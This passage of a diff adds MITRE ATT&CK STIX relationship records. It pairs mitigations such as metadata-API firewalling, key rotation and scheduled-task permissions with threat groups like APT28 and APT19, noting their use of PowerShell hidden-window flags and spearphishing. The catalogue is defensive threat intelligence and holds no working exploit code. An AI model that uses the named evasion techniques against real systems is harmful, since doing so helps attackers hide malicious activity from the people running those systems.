"relationship--b3fc3626-b507-42b6-9930-b7662d01bd4c", + "description": "Limit access to the Instance Metadata API using a host-based firewall such as iptables.(Citation: RedLock Instance Metadata API 2018) A properly configured Web Application Firewall (WAF) may help prevent external adversaries from exploiting Server-side Request Forgery (SSRF) attacks that allow access to the Cloud Instance Metadata API.", + "target_ref": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f", + "modified": "2020-02-11T18:48:48.751Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-10T20:24:44.964Z", + "external_references": [ + { + "source_name": "RedLock Instance Metadata API 2018", + "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", + "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--27e91ac8-9463-4a7a-8f1f-89abeba1b02d", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows.(Citation: Palo Alto Sofacy 06-2018) (Citation: McAfee APT28 DDE1 Nov 2017)", + "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "modified": "2021-02-09T13:46:50.756Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-10T21:54:00.462Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018" + }, + { + "source_name": "McAfee APT28 DDE1 Nov 2017", + "description": "Sherstobitoff, R., Rea, M. (2017, November 7). Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack. Retrieved November 21, 2017.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--db8530c2-ce41-4943-8a17-91502187fd06", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: FireEye APT32 May 2017) (Citation: Cybereason Cobalt Kitty 2017)", + "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "modified": "2021-02-09T13:55:29.574Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-10T21:57:37.023Z", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2e6e8722-d09d-402e-9ea8-ccf8412339d0", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used -W Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: FireEye APT19)", + "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "modified": "2021-02-09T13:56:35.269Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-10T22:00:27.892Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "source_name": "FireEye APT19" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--948a5d37-65d1-403f-99bb-0f08186aeebc", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) has used -w hidden and -windowstyle hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: ClearSky Wilted Tulip July 2017)", + "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "modified": "2021-02-09T13:50:21.135Z", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-10T22:17:29.523Z", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ab3cf933-236f-4255-9ca6-24826f9bbe99", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has used -WindowStyle Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: Unit 42 DarkHydrus July 2018)", + "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "modified": "2021-02-09T13:51:14.503Z", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-10T22:19:43.951Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. 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(Citation: PWC KeyBoys Feb 2017)", + "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "modified": "2021-02-09T14:04:15.777Z", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-11T03:32:15.674Z", + "external_references": [ + { + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. 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MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0f880e99-efaa-4e85-91c3-cac3d81d6b9a", + "description": "[Machete](https://attack.mitre.org/groups/G0095) has relied on users opening malicious attachments delivered through spearphishing to execute malware.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2021-10-06T19:26:48.544Z", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-15T22:28:40.394Z", + "external_references": [ + { + "source_name": "Cylance Machete Mar 2017", + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + }, + { + "url": "https://securelist.com/el-machete/66108/", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019" + }, + { + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020.", + "source_name": "360 Machete Sep 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--24e20a3c-5f74-40bc-a5b0-108bc0233305", + "description": "Several cloud service providers support content trust models that require container images be signed by trusted sources.(Citation: Content trust in Azure Container Registry)(Citation: Content trust in Docker)", + "target_ref": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", + "modified": "2021-04-12T18:28:28.140Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-16T20:44:09.399Z", + "external_references": [ + { + "url": "https://docs.microsoft.com/en-us/azure/container-registry/container-registry-content-trust", + "description": "Microsoft. (2019, September 5). Content trust in Azure Container Registry. Retrieved October 16, 2019.", + "source_name": "Content trust in Azure Container Registry" + }, + { + "url": "https://docs.docker.com/engine/security/trust/content_trust/", + "description": "Docker. (2019, October 10). Content trust in Docker. Retrieved October 16, 2019.", + "source_name": "Content trust in Docker" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cf63b75f-564f-4713-a5b3-1f102d098e8e", + "description": "Cloud service providers support IP-based restrictions when accessing cloud resources. Consider using IP allowlisting along with user account management to ensure that data access is restricted not only to valid users but only from expected IP ranges to mitigate the use of stolen credentials to access data.", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "modified": "2020-07-09T14:02:05.452Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-17T19:25:21.088Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--25b225e4-2365-4c00-8a27-f578a7fd94c8", + "description": "Consider rotating access keys within a certain number of days to reduce the effectiveness of stolen credentials.", + "target_ref": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", + "modified": "2020-03-29T23:43:44.388Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-23T14:26:33.079Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--375f4ab4-542f-42f6-9577-f66a6e20f9ca", + "description": "Create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation.(Citation: Palo Alto Office Test Sofacy)", + "target_ref": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", + "modified": "2021-08-16T21:35:17.815Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-07T19:44:04.845Z", + "external_references": [ + { + "source_name": "Palo Alto Office Test Sofacy", + "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--95313794-3eae-4cc3-89aa-4ad0d6d65572", + "description": "For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)", + "target_ref": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44", + "modified": "2021-10-15T20:18:30.869Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-07T20:00:26.301Z", + "external_references": [ + { + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/", + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Forms" + }, + { + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/", + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Home Page" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cff9e6c6-eb2d-431d-958c-d86ffe6ea98d", + "description": "For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)", + "target_ref": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634", + "modified": "2021-08-16T21:29:19.959Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-07T20:06:03.069Z", + "external_references": [ + { + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/", + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Forms" + }, + { + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/", + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Home Page" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--39670e5f-214a-48b0-81df-01c1f5030cd7", + "description": "For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. 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Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Home Page" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--be510dc5-eae7-4231-808b-645a7b04c15a", + "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)\n", + "target_ref": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21", + "modified": "2021-08-16T21:27:11.474Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-07T20:29:18.340Z", + "external_references": [ + { + "source_name": "MRWLabs Office Persistence Add-ins", + "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", + "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3b2b3dfd-4126-4b04-b8a7-381b5cb61dbf", + "description": "Patch the BIOS and EFI as necessary.", + "target_ref": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "modified": "2020-10-21T17:48:20.467Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-13T14:44:49.718Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b2651406-190a-4341-8d76-f9c25f66077b", + "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform these actions", + "target_ref": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "modified": "2020-10-21T17:48:20.483Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-13T14:44:49.721Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--efb4adc8-b0a0-4562-a8c7-d0fe70c207be", + "description": "Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)", + "target_ref": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "modified": "2020-10-21T17:48:20.485Z", + "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-13T14:44:49.724Z", + "external_references": [ + { + "source_name": "TCG Trusted Platform Module", + "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", + "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf" + }, + { + "source_name": "TechNet Secure Boot Process", + "description": "Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--be34e043-48a0-4192-a877-e8520a2800cc", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. ", + "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "modified": "2020-03-24T13:43:40.944Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-27T13:52:46.026Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e23ce4ac-b82c-4af1-9545-2bb237a03ed1", + "description": "Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)", + "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "modified": "2020-03-24T13:43:40.948Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-27T13:52:46.029Z", + "external_references": [ + { + "source_name": "TechNet Scheduling Priority", + "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.", + "url": "https://technet.microsoft.com/library/dn221960.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1fdd8726-606a-482d-b371-044eea79be29", + "description": "Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task) ", + "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "modified": "2020-03-24T13:43:41.020Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-27T13:52:46.031Z", + "external_references": [ + { + "source_name": "TechNet Server Operator Scheduled Task", + "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.", + "url": "https://technet.microsoft.com/library/jj852168.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3e76b11e-8a9e-4300-b9d4-8cbd8e8bb37f", + "description": "Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit) Windows operating system also creates a registry key specifically associated with the creation of a scheduled task on the destination host at: Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\At1. (Citation: Secureworks - AT.exe Scheduled Task)", + "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "modified": "2020-03-24T13:43:41.024Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-27T13:52:46.033Z", + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "url": "https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems", + "description": "Carvey, H.. (2014, September). Where You AT?: Indicators of Lateral Movement Using at.exe on Windows 7 Systems. Retrieved November 27, 2019.", + "source_name": "Secureworks - AT.exe Scheduled Task" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e7c8615b-2dd4-42a9-9535-2deed30ea8d7", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "modified": "2019-11-27T14:31:56.861Z", + "source_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2019-11-27T14:31:56.861Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9fad01af-77b7-44b2-a3fc-0a7b338b9ace", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. ", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-12-30T14:26:44.902Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-27T14:58:00.672Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--00b0b6ec-a9eb-4fdd-b7ea-6e6c8a8ab1fc", + "description": "Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-12-30T14:26:44.885Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-27T14:58:00.679Z", + "external_references": [ + { + "source_name": "TechNet Scheduling Priority", + "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.", + "url": "https://technet.microsoft.com/library/dn221960.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eccad76f-c5fa-46db-9ccb-5a9ebcada28e", + "description": "Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-12-30T14:26:44.914Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-27T14:58:00.681Z", + "external_references": [ + { + "source_name": "TechNet Server Operator Scheduled Task", + "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.", + "url": "https://technet.microsoft.com/library/jj852168.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b562272b-db14-45e4-8ff2-3eafb2db5179", + "description": "Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-12-30T14:26:44.915Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-11-27T14:58:00.694Z", + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d5ffcd6e-be9e-4efe-9822-974f3838c7db", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "modified": "2019-11-27T14:58:00.700Z", + "source_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2019-11-27T14:58:00.700Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": 